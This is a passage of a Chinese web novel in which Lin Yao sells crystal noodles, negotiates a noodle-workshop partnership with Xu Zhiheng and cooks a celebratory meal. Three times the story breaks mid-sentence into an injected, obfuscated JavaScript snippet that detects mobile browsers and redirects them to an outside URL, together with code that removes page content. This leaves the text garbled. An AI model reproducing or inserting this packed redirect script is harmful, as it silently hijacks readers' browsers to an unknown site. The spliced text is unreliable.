“有两种口味。一种是卤猪下水粉，搭配我家秘制的卤猪下水，十三文一碗；一种是酸辣粉，配有酥黄豆、肉末浇头和秘制酸辣汁，十文一碗！”林窈介绍道。 “猪下水怎么还拿来卖？这玩意谁乐意吃？”有人质疑道。 恰在此时，吴镖头刚将下一趟走镖所需的干粮收拾妥当，准备往码头上去，他这一去少则半月，多则月余，出发前可得吃顿好的。路过东街时，他闻到了码头上熟悉的卤猪下水的味道，便循着味儿找了过来。远远瞧见竟是林窈把摊子摆到了镇上，正要上钱寒暄几句，就听到那人所言，当下便反驳道：“这小娘子家的卤猪下水，每日都供不应求，但凡吃过的，就没有说不好的。你不吃，我可吃。”言罢，他转过脸对林窈说道：“来一碗卤猪下水！” 听到吴镖头为自己出言辩白，林窈心中很是意外，“镖头，实在对不住。今日所备的卤猪下水数量有限，特意留着做这水晶粉的浇头，不单卖。” 吴镖头头一回听闻水晶粉，顿时来了兴致，说道：“水晶粉？这倒是新鲜，给我来一份！” 林窈打开温着卤猪下水的炉子，浓郁的香味瞬间飘散在空气中。她舀出满满一勺卤猪下水，盖在水晶粉上，再浇上卤汁，撒上香菜、葱花，一碗色泽诱人、香气扑鼻的卤味水晶粉便成了。 林窈将粉端至吴镖头桌前，吴力今天早上忙活了一上午，早就饿得前胸贴后背。他迫不及待地拿起筷子，先是夹起一筷子水晶粉，那晶莹剔透的粉条在筷子间轻轻晃动，在早晨的日光下泛着的光泽，果真如名字一样。他吹了吹，而后送入口中，这陌生而奇妙的口感让他大为惊奇，再配上一口卤猪下水，当真是妙不可言！“林小娘子简直是厨神下凡！这水晶粉爽滑劲道，我走南闯北多年，还从未尝过这般独特的粉条！” 围在摊子前的众人，听到吴镖头毫不吝啬的夸赞，心中的犹豫消去大半，三三两两地开始点单。有的与吴镖头一样，点了卤猪下水粉；但也有实在不信卤猪下水能做得好吃的，要了酸辣粉。 梁氏暗自咋舌，怪道阿窈三兄妹摆了一个月食摊就能买上驴。就这一会儿的工夫，装钱的竹篓里便进了六十多文钱，这可比自己种地卖菜强太多了。 世人皆道“士农工商”，商人位居最末等。可若是连饭都吃不饱，还讲究什么尊卑秩序。除了皇族、士族，其余之人，管你从事何等营生，在权贵眼中，都不过是抬手便能碾死的蝼蚁。如今看来，阿窈是个有本事的。自己日后若能跟着阿窈做事，哪怕拜她为师都未尝不可。这般想着，梁氏手上的动作也没停下，麻利地往锅里下了一大捆水晶粉。 林窈接过梁氏煮好的粉，依照客人的要求加入不同的浇头和料汁。卤煮水晶粉的味道众人已然知晓，可酸辣粉的滋味大家却还未曾见识过。故而，当林窈将那特制的酸辣汁缓缓浇在粉上时，酸与辣交织的独特香味瞬间弥漫开来，刺激着每个人的嗅觉。再加入炸得酥脆喷香的黄豆，盖上一勺肉沫，林窈自己闻着都有些腹中饥饿。 吴镖头刚吃完一碗卤猪下水粉，浑身舒坦，冷不丁闻到一阵酸辣勾人的味道，说道：“林小娘子，这就是酸辣粉？给我也来一碗！” “好嘞，马上给您上！”林窈一边把做好的酸辣粉递给刚下单的客人，一边回应道。 林窈和梁氏未曾料到第一天出摊销量竟如此好，忙得热火朝天。 街的另一边，许之珩正拿着代写书信的木板，溜溜达达来到集市上。 金玉扛着桌椅跟在后面，他吸了吸鼻子，说道：“郎君，好香啊！” 许之珩头也没回，“就知道吃，先把摊子支好。” 金玉被骂了也不恼，“郎君，是林小娘子！是林小娘子的摊位上传来的香气！” 许之珩其实早就瞧见了，小摊周围围了一圈人，小姑娘在里面忙得脚不沾地，“在府里不是吃过了？怎么弄得我苛待你一样？” “郎君待小的自然是极好的，可林小娘子做的吃食怎能和府里一样。老宅常年空置，连个奴仆都没有，那厨子还是郎君在路上捡的，只会做些简单饭食。郎君您瞧，我都瘦了。”金玉眼珠子一转，接过许之珩手里的木板，又补充道，“郎君也瘦了，夫人老爷见了，定是要心疼的！” 许许之珩看着金玉为了一口吃的吃跑前跑后，不禁失笑，从怀里掏出荷包放在桌上，说道：“行了行了，少在我这儿贫嘴，一会儿你自去买两碗。” 金玉一把将荷包揣进自己怀里，“好嘞！” 许之珩刚坐下，便有人前来请他代写信件。金玉为他磨好了墨，便开始左顾右盼。许之珩摆了摆手，放他去买粉了。金玉得了许之珩的应允，三步并两步地朝着那香气四溢的摊位奔去。 集市里人来人往，他左躲右闪，好不容易挤到摊前，扯着嗓子喊道：“林小娘子，来两碗粉！就要那个闻着酸香鲜辣的！” 林窈闻声抬起头，笑着应道：“哟，是金玉小哥呀，稍等片刻，马上就好。” 金玉从怀里掏出荷包，正要把钱递给梁氏，林窈连忙阻拦，“不必，此前我与你家郎君有言在先，日后他来我家食摊，所有消费一概全免。” 金玉一听，挠了挠头，本以为林小娘子与郎君说的只是客套话，没想到竟是真的，不免有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187663|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶，说道：“这如何使得？林小娘子做生意本就不易，哪能让您白白送吃食。” 林窈手上动作不停，抬头回应道：“金小哥莫要推辞，你家郎君此前帮了我大忙，我身无长物，也只能在吃食上略表心意，聊作报答。” 金玉见林窈态度坚决，也不好再推脱，只好把荷包收了回去，挠挠头说：“那行，那便多谢林小娘子了。”说罢，便小心翼翼地端起两碗粉，转身往回走。 林窈顺着金玉离去的方向望去，瞧见不远处的摊位，许之珩正低着头写信。 金玉回到摊位时，许之珩刚写完一封信，正与下一位顾客交谈着。金玉走到一旁，把粉放在桌上，等着许之珩忙完这一阵。许之珩一转头，看到两碗粉，眉头轻挑，“这么快？钱付了吗？” “没有。”金玉摇了摇头，将林窈说的话转述给许之珩。 “她倒是个实在人。”许之珩说着，继续写下一封信。 金玉在一旁端起碗，唏哩呼噜地吃了起来。一筷子粉入口，那奇妙的口感让他很是惊奇，爽滑劲道的粉条，裹挟着酸辣浓郁的汤汁，一口下肚，忍不住发出一声赞叹：“郎君，您快些写完，这酸辣粉味道独特得很！” 许之珩看向他碗里的粉，晶莹剔透，与寻常粉条大不一样，问道：“这粉怎么看着不一样？” “林小娘子说，这叫水晶粉！”金玉夹起一筷子粉，给许之珩看了一眼。 许之珩把手上的信写完，递给了等待的人，他端起放在一旁的酸辣粉，端详了一番，“这名字起得倒贴切。” 金玉点了点头，说道：“可不是，这粉不仅滋味绝佳，卖相更是上乘，就算拿到京城去，也是能卖出好价钱的！” 许之珩吃粉的动作停了下来，对啊！他在京城混迹许久，什么酒楼没去过？这水晶粉他都未曾见过，若能贩到京城，那便是他家许家独一份的生意，“你也不是只知道吃。” 金玉把脸从碗前抬了起来，嘴上还吸溜着水晶粉，“嗯？” “没事，吃吧吃吧。”这么想着，许之珩三下五除二就把碗里的粉解决，还因为吃得太急，险些被辣子呛到。 金玉见许之珩这副着急的模样，忍不住打趣，“郎君，您慢点儿，又没人跟您抢，这粉还能跑了不成？” 许之珩缓过神来，白了金玉一眼，“你以为我是你，整日就惦记着吃。” 金玉撇了撇嘴，“那您惦记什么？” 许之珩敲了敲他的脑袋，“少废话，磨墨。” 这边，林窈已经将今日带来的水晶粉卖得所剩无几。她把最后一小捆粉煮熟，分别装在两个碗里，加上酸辣汁和小料，招呼正在收拾桌凳的梁氏一同来吃。 梁氏今日被那香气勾了一上午馋虫，肚子咕咕叫了好几回。此刻接过酸辣粉，她全然不顾烫嘴，大口扒拉了一口。粉一入口，她便明白了为何那些食客络绎不绝，这味道，她真想叫刘大壮也来尝上一碗。 两人正坐在摊子后吃着午食，两片阴影悄然落在她们头顶，将阳光遮去了大半。 31. 经销商 梁氏抬头就看到了两张陌生的脸，吓得她险些没端稳手中的碗。她赶忙站起身，将林窈牢牢护在身后，神色警惕，“小摊已然收摊，二位公子有何贵干？” 林窈知道梁氏误会了，连忙站起身来解释，“嫂子，我们是识得的，此前两位公子还救了我与阿兄一命。” “哦！原来是上次救你们的恩人，我就说，二位公子看着就一身正气，侠肝义胆！我方才多有冒犯，还望见谅！”梁氏性子直爽一开口便如竹筒倒豆子般说了一大串，随后又手脚麻利地搬出两张板凳，热情招呼他们坐下。 林窈示意他们坐下，“许公子寻我，可是有事？” “我与小娘子也算相熟，便不绕圈子了。我想与你谈谈这水晶粉的生意，只是此地人多嘴杂，不便详谈。不如寻个清净之处，好好商议这笔买卖。”许之珩目光坦然，直言道。 林窈没想到这么快就有生意上门，内心激动不已，如果一定要形容她现在心情，那就像是泡腾片被扔进了沸水里，瞬间炸开了花。可她面上仍保持沉稳，说道：“此事我一人做不得主，许公子不妨先去对面茶馆稍作等候，我去码头寻我兄长，再来一同商议，如何？” 许之珩微微点头，“如此甚好，那就有劳林小娘子了，我在茶馆静候小娘子与令兄。” 待许之珩的身影消失在茶馆门口，林窈立刻与梁氏一同，赶着驴车匆匆朝着码头奔去。梁氏出嫁前，娘家也有驴车，虽说许久未曾赶过，但关键时刻倒也不含糊，手中缰绳一抖，驴车便稳稳前行。 林窈到码头时，林诚正带着王小鱼和林崧，挑着摊位上的物件，准备往镇上去，“嫂子！阿窈！你们怎么来了？”林诚瞧见她们，惊讶问道。 林窈跳下驴车，顾不上擦去额头的薄汗，“阿兄，许公子想与咱们谈水晶粉的生意！” 林诚闻言，面上是抑制不住的惊喜。可他赶忙将扁担稳稳放在地上，整齐码放在一旁，说道：“嫂子、阿鱼，崧儿和这些物件就托付给你们照看片刻，我与阿窈去去就回。” 林诚拍了拍驴车，与林窈一同上了车。一路上，林窈按捺不住内心的兴奋，将许之珩的来意一五一十地告诉林诚，眼中满是期待。 二人来到茶馆时，许之珩早已等候多时。双方一番寒暄后，各自落座。许之珩率先开口：“实不相瞒，今日尝了你们的水晶粉，口感爽滑劲道，着实独特。我自小在混迹……”许之珩猛地一顿，往回找补，“我自幼便对各地美食有所涉猎，却从未尝过这般味道的粉，若能将这水晶粉的生意做大，其前景不可估量。只是你们若只是在这小地方售卖，实在可惜。依我之见，二位不如将这配方卖予我，我愿出重金购买。如此，二位也可免去制作之劳，坐享富贵，不知二位意下如何？” 许之珩话音刚落，林窈不假思索地拒绝了，“不卖。” 林小娘子先别急着拒绝，我出的价钱必定有诚意。”说着，他伸出两根手指，“我出一百两！” 林窈依旧毫不犹豫，“方子多少钱都不卖。” 林诚在一旁，看看许之珩，又瞧瞧林窈，选择沉默不语。毕竟这方子是妹妹苦心钻研出来的，理应让妹妹决定方子的去处。 林窈见许之珩被接连拒绝两次，却并未恼怒，便开门见山地说道：“我可以与公子合作，不过并非售卖配方，而是按分成合作。我出配方和手艺，负责监督制作，其余诸事由公子负责，盈利我们五五分成。” 许之珩闻言，原本转动扇子的手一顿。他思索片刻后说道：“林小娘子果然聪慧，这提议倒也不错。只是五五分成的话，我这边投入的人力、物力、财力诸多，承担的风险也大，于我而言，并不公平。依我看，三七分更为合适，我七你三。” 许之珩没想到这小姑娘年纪轻轻，目光却如此长远。只是这要求，实在有些贪心。虽说方子珍贵，可依她所说，除了制作指导，其余劳力、工具、场地乃至本钱皆由自己承担。许之珩不禁思忖，难道自己平日里装得太过像个酒囊饭袋，让人觉得好糊弄？ 林窈当然知道自己提的要求有点过分，但是商业谈判总是要留出一些讨价还价的空间的。她不想表现得过于急切，所以正在一步步试探许之珩的底线，听到许之珩提出三七分的时候，她简直高兴得要原地蹦起来，可表面上却仍不打算这么快敲定交易。 “七三分怕是不妥。”林窈目光灼灼，直视许之珩，“您今日也说，从前并未见过水晶粉。以许公子的家世与见识，能对这水晶粉如此青睐，足见其不凡。您想，凭借许公子的眼光与人脉，若将水晶粉推向府城、京城乃至更远的地方，必定能开拓出一个广阔的市场。届时，食客被这新奇美味的水晶粉吸引，生意必将火爆，盈利丰厚不在话下。如此一来，我这方子便如同会下金蛋的母鸡。我再许您京城独家经销权，分成六四分，您六我四，如何？” “独家经销权？”许之珩对林窈所说的这个词颇感陌生。 “不错！若许公子获得水晶粉的京城独家经销权，便意味着在京城，唯有您能售卖我林二家的水晶粉，其他商家不得售卖。如此，公子可避免竞争，独占市场份额，获取更多利润。”林窈详细解释道。 这种说法新鲜，许之珩很欣赏林窈的深谋远虑和灵活多变，但他不得不给她泼盆冷水，“林小娘子，你如何能限制我在何处销售水晶粉？” 林窈心中一怔，她听出了许之珩的言外之意，是她想得太简单了，在这个特权时代，权势与财富往往能左右许多事情，仅凭一纸契约，确实难以完全约束许之珩。 许之珩见林窈陷入沉默，微微叹了口气，眼中闪过一丝不忍，但很快又恢复了商人的精明：“林小娘子，我并非有意为难你，只是生意场上，凡事都需考虑周全。” “我明白许公子的意思，是我思虑不周了。”林窈整理一下思绪，接着说，“我同意七三分，但我还有一个请求。” 许之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188514|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩没想到林窈这么快就松口，回答道：“林小娘子但说无妨。” “水晶粉干粉的定价，您需与我一同协商敲定。我希望寻常百姓家也能毫无负担地品尝水晶粉。至于这干粉到了您手中，您要将它制作成何种菜肴，卖什么价钱，那是您的本事，我绝不多加干涉。”说罢，林窈端起茶杯，轻轻抿了一口茶水。 许之珩手指轻轻敲击桌面，思索片刻后说道：“林小娘子这份心思着实难得，那就依你所言。” 林窈走出茶馆时，初秋的风吹起她额前的发丝，可她却丝毫感觉不到凉意，满心满眼都是刚刚与许之珩敲定合作的兴奋与喜悦，怀里的契约仿佛还散发着阵阵温热。 现在离她过上锦衣玉食的生活又近了一步！林窈打算好好庆祝一番，拉着林诚去集市买了一只肥鸡、一条鲜鱼和一大块五花肉。 驴车还未到码头，林窈便听到了熟悉的呼喊声。 “阿窈！” “师父！” “阿兄！二姐！” 林窈刚从驴车下来，梁氏便急忙迎上前去，问道：“谈得如何？” 林窈轻轻拍了拍梁氏的手，示意她放心，说道：“我们回家再说。” 众人不再多言，将堆放在路边的物件一一搬上驴车，赶着驴车朝着林家二房的方向走去。 ～ 一进家门，林窈抑制不住内心的喜悦，抱起林崧欢快地转了两圈，林诚也在一旁笑得合不拢嘴。林窈将被逗得咯咯直笑的林崧放回地上，缓了口气，“成了！我们与镇上的珍馐楼签订了水晶粉的契约！” 梁氏听闻这个好消息，也为林窈三兄妹感到高兴。几个月前，她还感叹好人没好报。林家二房一家多好的人，当年若不是林二叔从熊瞎子手下救下刘大壮，她恐怕刚嫁过来便要守寡。后来林二家接连遭遇灾祸，她都忍不住咒骂老天不公。如今，这三个孩子终于要过上好日子了。 短暂的兴奋过后，林窈便开始筹划日后的分工。往后这段日子，她每日需抽出半天时间前往水晶粉工坊进行技术指导，直至工坊能够独立运转。但摊子这边，她也不打算落下，“嫂子，你与大壮哥日后可愿在我家做工？家中人手不足，村里我只信得过你和大壮哥。” 梁氏听到林窈的提议，想都没想便答应道：“愿意！愿意！你大壮哥每次上山打猎，我都提心吊胆。如今他能不必再在山中冒险讨生活，我们求之不得！我这就去和他说！” 送走梁氏后，林窈才有空与王小鱼交谈，说道：“阿鱼，这些日子，摊子上就要辛苦你和阿兄多操心了。往后，你与梁嫂子他们一同每日结算工钱。” 王小鱼连忙摇手，“徒弟为师父做事天经地义，我怎好拿工钱。” 林窈可不管古代这套说法，“在我这儿，只要做了活，就该拿工钱，不必推辞。有了工钱，王大爷也能轻松些。”王小鱼见林窈态度坚决，又想到阿爷每日起早贪黑做馍馍的辛苦，便不再拒绝。 32. 炸鸡 林窈今日谈下了来到这个世界后的首个订单，心情格外舒畅，准备好好庆祝一番。“阿兄，今日定要好好庆贺庆贺。你去把王大爷接来，与咱们一同用晚膳吧。阿鱼，你随我来。” 进入灶房，林窈利索地挽起袖子，“今日我要做的菜，叫炸鸡与酸菜鱼。” 王小鱼从未听闻鸡肉还能油炸，不禁疑惑，“炸鸡？” 古代不是没有炸鸡，唐朝便已出现的葫芦鸡，堪称古代版的炸鸡。葫芦鸡通常需用细绳将鸡捆扎起来，先煮后蒸，最后油炸，如此做出的鸡肉又酥又嫩，形似葫芦，故而得名①。但现在这个朝代极有可能早于唐朝。 林窈知道王小鱼没有听过炸鸡，便耐心介绍，“没错，就是用油炸鸡肉，炸是常见的烹饪技法，食肆里常见的炸紫酥肉，便是以猪肉油炸而成。既然猪肉能炸，鸡肉自然也能。” 林窈将鸡肉洗净，沥干水分后，把鸡肉切成块状，放入一个大碗中。 想要做出鲜嫩多汁的炸鸡，腌制至关重要。 林窈在大碗中依次加入盐、肉桂粉、大蒜粉、酒和姜片，抓拌均匀，让每一块鸡肉都裹满调料，腌制入味。可惜他们所在的地方是南方沿海地区，远离北方和中部的草原，难以买到牛奶。否则，在腌制的时候加入一些牛奶，炸出的鸡肉定会汁水更为丰富。 在等待鸡肉腌制的间隙，林窈将鱼置于案板之上，开始准备酸菜鱼要用的鱼片。她将鱼身斜切成均匀薄片，每一片鱼肉都厚度适中，纹理清晰，“酸菜鱼的鱼片不宜过厚，否则不易入味，口感也会欠佳。” 切好的鱼片被她轻轻放入盘中，撒上少许盐和酒，轻柔抓匀，使每片鱼肉都充分吸收调料，去腥增香。 林窈转身从灶房角落搬出一坛酸菜，这酸菜是之前与酸豇豆、酸萝卜一同腌制的。她打开坛子的瞬间，酸爽的味道扑面而来，直冲鼻腔，让人口舌生津。她将酸菜切成小段，放入烧热的锅中煸炒。林窈不断翻炒，直至酸菜的香味被完全激发，才把它盛出备用。 随后，林窈在锅里倒入适量猪油，放入姜片、蒜末、茱萸和花椒爆香。刹那间，浓郁的香味四散开来。紧接着，她把片出的鱼骨倒入锅中，快速翻炒，直至鱼骨表面微微泛黄。林窈往锅里加入足量清水，不多时，奶白色的鱼汤便咕噜咕噜地翻滚起来，鲜香扑鼻。 林窈把炒好的酸菜倒入鱼汤中，继续炖煮，让酸菜的味道充分融入鱼汤。而后，她将腌制好的鱼片逐片放入锅中，轻轻推动，“酸菜鱼所用鱼片较薄，烹饪时间不宜过长。一入锅便要及时搅动，使鱼片均匀受热，防止粘连。” 王小鱼在一旁一边打下手，一边认真聆听林窈的讲解。待鱼片变色熟透，林窈撒上一把葱花、香菜，一盆色香味俱全的酸菜鱼便大功告成。 另一边，鸡肉也腌制好了。林窈拿出两个空碗，一个碗中倒入面粉，另一个碗里打入两颗鸡蛋，搅拌均匀。“这是要裹在鸡肉外面的面糊，裹上面糊，能防止鸡肉内的汁水在高温下过快流失，导致鸡肉吃起来干柴，同时还能形成脆皮，丰富口感。” 林窈先将鸡块放入面粉碗中，滚动着让鸡块表面均匀地裹上面粉，轻轻抖落多余的部分；再把裹好面粉的鸡块放入鸡蛋液里，让它全身都沾上蛋液；最后，又一次放回面粉碗，再次裹上面粉，这样炸出来的外皮会更加酥脆②。 一切准备就绪，林窈把筷子插入油中，只见冒出一串小泡泡，“阿鱼，此刻的油温是最适宜的温度。”她将鸡块放入锅中，锅中瞬间开出一朵朵油花。 一旁的王小鱼光是闻着味道就已经饥肠辘辘，但还是在努力记住林窈的每一个步骤。 林窈用筷子不时翻动着鸡块，不消片刻，原本生嫩的鸡肉逐渐变成诱人的金黄色，独属于炸鸡的香气从灶房飘到了院子里。 林诚带着王山回到家时，在院门外就闻到了这股香气，“阿窈，在做什么好吃的？味道都飘到了家门外了！” 林窈端着炸鸡放到院子的小桌上，“阿兄，这是炸鸡。王大爷，一会就能吃了，您先坐会，阿鱼替我去请相熟的大哥了。” 正说着，刘大壮和梁氏带着儿子刘大宝推开了林窈家虚掩的院门。 梁氏将手里提着的一篮子鸡蛋塞到林窈手中，说道：“阿窈，诚哥儿，这篮子鸡蛋是给你们的贺礼，也是多谢你们愿意照顾我们一家。” 林窈刚要推辞，梁氏便按住她的手，说道：“你大壮哥家里没什么拿得出手的贺礼，就这篮子鸡蛋还算体面。我并非与你客气生分，而是这两份活计对我和你大壮哥而言，真的是极大的帮助。你若不收下，我们心里不安。” 刘大壮抱着刘大宝，也在一旁帮腔：“你阿爹救过我一命，如今你们又这般帮衬我们，你们就收下这篮子鸡蛋吧。” 林窈看着眼前的一家三口，知道再推辞下去反而伤了情分，“既然大壮哥与嫂子都这么说，我们便不客气了。” 林窈把那一篮子鸡蛋放入灶房，又将酸菜鱼端出小院，还装了一大碗酸菜、酸豇豆和酸萝卜，招呼大家坐下一同用饭。 众人落座后，最引人注目的当属炸鸡。刘大壮一家来得稍晚，不知这黄灿灿的肉块是何物。刘大壮咬了一口炸鸡，外酥里嫩，鲜嫩多汁的鸡肉在口中散开，一时间，他都不敢相信自己的判断，“这可是鸡肉？真嫩，真脆！” 林窈心里清楚，没人能抵挡炸鸡的魅力，即便千百年前的古人也不例外，“正是，这叫炸鸡。” 王山也吃了一块炸鸡，愈发觉得自己让孙女拜师的决定无比正确，“没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194817|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到鸡肉还有这般吃法，我们平日里煮的鸡肉，可真是浪费了。” 林窈给自己夹了最爱吃的鸡翅膀，忙活一天了，可不能亏待自己，“这炸鸡的做法我已教给阿鱼，大爷想吃，就让阿鱼给您做。” 王山看着孙女因刚从灶房出来而变得红彤彤的脸，欣慰点头，“好好好，我家阿鱼有这手艺，往后我可有口福咯。”阿鱼听闻，微微一笑，眼中闪烁着兴奋的光芒。 炸鸡虽香酥味美，但梁氏却更钟爱酸菜鱼，一碗汤下肚，酸辣鲜香，鱼片更是煮的恰到好处，轻轻一抿便散开，酸菜也极对她的胃口，她一口接着一口，根本停不下来。林窈见梁氏的筷子在酸菜鱼、酸豇豆和酸萝卜之间反复横跳，便知道梁嫂子口味偏重，嗜酸嗜辣，倒和她的性格颇为相似。 一顿饭下来，宾主尽欢。 吃过饭，送走了王山爷孙，林窈开始和刘大壮一家商量接下来的工作，“大壮哥，如今我与阿兄这小摊实在是忙不过来，我们想请你与嫂子为我们分担一二。” 刘大壮知道林窈是有心照顾自己一家，自从有了孩子，每次上山打猎他都格外小心，早就不想再过这种把脑袋别在裤腰带上的日子了。“阿窈，我明白你的意思。山中打猎危险重重，能有一份安稳的活计，是我和你嫂子要多谢你。” “那我就不跟大哥和嫂子客气了。如今我要到镇上的工坊去制作水晶粉，嫂子需随我一同前往，日后这水晶粉监制的工作，是要交给嫂子的。码头的事，就交给阿兄与阿鱼。大壮哥每日需要把第二日出摊所需的食材准备好。”林窈看了眼正在刘大壮怀里吐泡泡的刘大宝，继续道：“大壮哥年富力强，若只在家中准备食材，难免大材小用。我一会儿把魔芋爽与水晶粉的制作方法教给你们。往后，大壮哥只要把出摊食材备好后，余下的时间便可制作魔芋爽与水晶粉，越多越好。做好之后，可以如货郎一般去别处售卖。我只收取进货价，售出的盈利都归大壮哥所得。” 刘大壮没想到林窈连秘方都愿意教给他们夫妇，还让他们自由售卖，眼眶瞬间红了，说道：“这……这可是秘方，可不能这般轻易就告诉别人。” 林窈深知秘方在古代的重要性，却没想到刘大壮反应如此之大。看着眼前这个一米八的壮汉红了眼眶，她反倒有些不好意思了，说道：“大壮哥与嫂子可不是外人。若没有你们，我们兄妹三人怕是难以活到现在。在我们心里，你们就是亲大哥、亲嫂子。如今我们有这机缘，自然不能撇下你们不管。我们一家人要好好的，一起赚很多很多铜板，一起过上好日子！” 听着林窈的话，梁氏也忍不住转身抹了把眼泪，又狠狠拍了刘大壮的背一下，说道：“去，没出息的家伙。阿窈说得对！我们一家人要好好的，赚钱，赚大钱！” 33. 水晶粉工坊 林窈与梁氏按照许之珩给的地址寻去，推开木门，两人都惊得一时愣在原地，她们眼前少说有百余人。 令林窈诧异的并非人数之多，而是这些人中有老人、孩童、妇女，甚至还有身体残缺的男子。他们目光齐刷刷地望向林窈，林窈则将目光投向许之珩，一时间安静得诡异。 许之珩率先打破这份寂静，大手一挥，“如何？水晶粉工坊有如此众多人手做活，日产百斤定不在话下，远销各地也指日可待！” 听闻此言，林窈总算回过神来，忙不迭点头，“许公子所言极是。” 许之珩瞧出林窈眼中的疑惑，开口道：“借一步说话。” 许之珩领着林窈与梁氏来到工坊里供管事处理事务的小院，为两人各斟了一杯茶，“林小娘子不必忧心产量问题。这些老弱妇孺、伤残男子做活或许稍慢，但胜在人多。再者，我为水晶粉工坊配备了二十头驴，拉磨之事皆由这些牲口承担。” 林窈接过茶杯，并未饮，“许公子难道不担心方子被泄露出去？” “原来是此事让小娘子担忧了。林小娘子无需挂怀，负责第一道与第二道工序的皆是我许家签了死契的工人。待食材运到这些老弱妇孺、伤残男子手中时，已然是林小娘子所说的红薯淀粉了，他们只需完成后续步骤即可。而且，但凡在水晶工坊做活之人，都签订了契约，一旦泄密，杖责六十，赔款一百两。” 林窈未曾料到所有工人都签订了如此严苛的契约。一个健壮的成年男子捱六十杖，大半个月都难以行动自如，更何况这些老弱妇孺与残疾男子，怕是直接会被打死。不过细想之下，这也在情理之中，毕竟没有哪个商人会将自己的商业机密置于不确定的风险之中，“还是许公子思虑周全。” “许公子，我这儿还有一事想与您商议。”林窈侧身，抬手示意身旁的梁氏，“这位是与我家中相识多年的嫂子，我在家时已将水晶粉制作的要领传授于她。日后我还得兼顾摊子上的事务，若能让嫂子担任工坊制粉区的管事，指导工人操作，严格把控产品品质，定能为工坊水晶粉的出品增添保障，不知许公子意下如何？” 许之珩看向梁氏，上次卖酸辣粉时，这妇人便跟在林窈身旁，想来对水晶粉的制作应颇为熟稔，当下点头应允：“既然林小娘子极力举荐，那这制粉区管事一职，便由梁嫂子担当。” 梁氏面露欣喜，忙不迭地行礼，“多谢许公子信任，我定当竭尽全力，不负所托。”许之珩一走，梁氏就压低声音说：“阿窈，这许公子工坊里的人，看着与别家工坊大不相同。” 林窈微微颔首，“只要能做活就成，许公子许是有自己的考量。” 再次回到工坊时，众人正在搬运晒干的红薯淀粉。待所有盆子都搬到一个个锅旁，林窈清了清嗓子，“各位，这便是我们一会儿要用到的淀粉，接下来，便是要将这淀粉制成水晶粉。”说着，她伸手舀起一勺淀粉，展示给周围的工人看。 “首先，需在这淀粉中加入适量的水。像这样一个大木盆的淀粉，约莫需要五瓢水。水既不能多，也不能少。水多了，粉浆过稀，做出的粉条易断；水少了，粉浆太稠，根本无法漏成粉条。大家初做时，可以少量多次加水。”林窈边说边往盆里倒水，同时手持一根长木筷不停搅拌。不多时，原本干爽的淀粉便化作浓稠均匀的粉浆，色泽微微泛白，“搅拌至没有颗粒，呈细腻糊状即可。” 紧接着，林窈拿起用水瓢特制的漏勺，此前她已将此方法传授给许之珩，故而工坊里人手一只漏勺。她将粉浆缓缓倒入其中，“大家看，这漏勺便是关键工具。把粉浆通过这小孔漏到滚烫的锅里，便能成型。”她双手轻轻抖动，粉浆从漏勺底部的小孔中缓缓落下，直直坠入下方热气腾腾的大锅里。锅里的水早已烧得滚开，粉条一入锅，瞬间定了型，在水中微微翻滚。 “火候也至关重要，火太大，粉条容易煮烂；火太小，又难以熟透。需时刻留意，确保锅里的水始终保持沸腾状态。”林窈目不转睛地盯着锅里，手中的漏勺亦未停歇，源源不断地将粉浆转化为粉条。 不多会儿，锅中的粉条逐渐变得半透明起来，“待到水晶粉呈透明状，便可捞出过凉水。”林窈用长筷子将粉条捞出，放入旁边装满凉水的大盆中，“这一步能让粉条迅速降温，还能增强其韧性，吃起来更为劲道。” 过了一会儿，林窈将过好凉水的粉条捞出，沥干水分，整齐码放在竹匾上。“此刻，咱们的红薯粉便初步制成了。不过，还需将它们挂起来晾晒，让水分彻底蒸发，如此保存时间才长久。” 林窈示范完毕，抬眼望去，面前围了一圈又一圈的人。有独臂的中年男子，有独眼的少年，有年近古稀的老妇，还有不少带着孩子的妇人……她收回目光，说道：“好了，现在大家都试着做做，若有不懂之处，可问我或者这位专门负责指导你们的梁管事。” 林窈走动在众人之间，耐心指导动作要领。这些人正如许之珩所言，虽说看似孱弱，可干起活来却毫不含糊。只是林窈心中仍有些好奇，寻常商人都为提高生产效率，挑选手脚麻利之人做活，难道他是个大善人，救贫扶弱？亦或是为了用更低廉的劳动力压缩成本？ 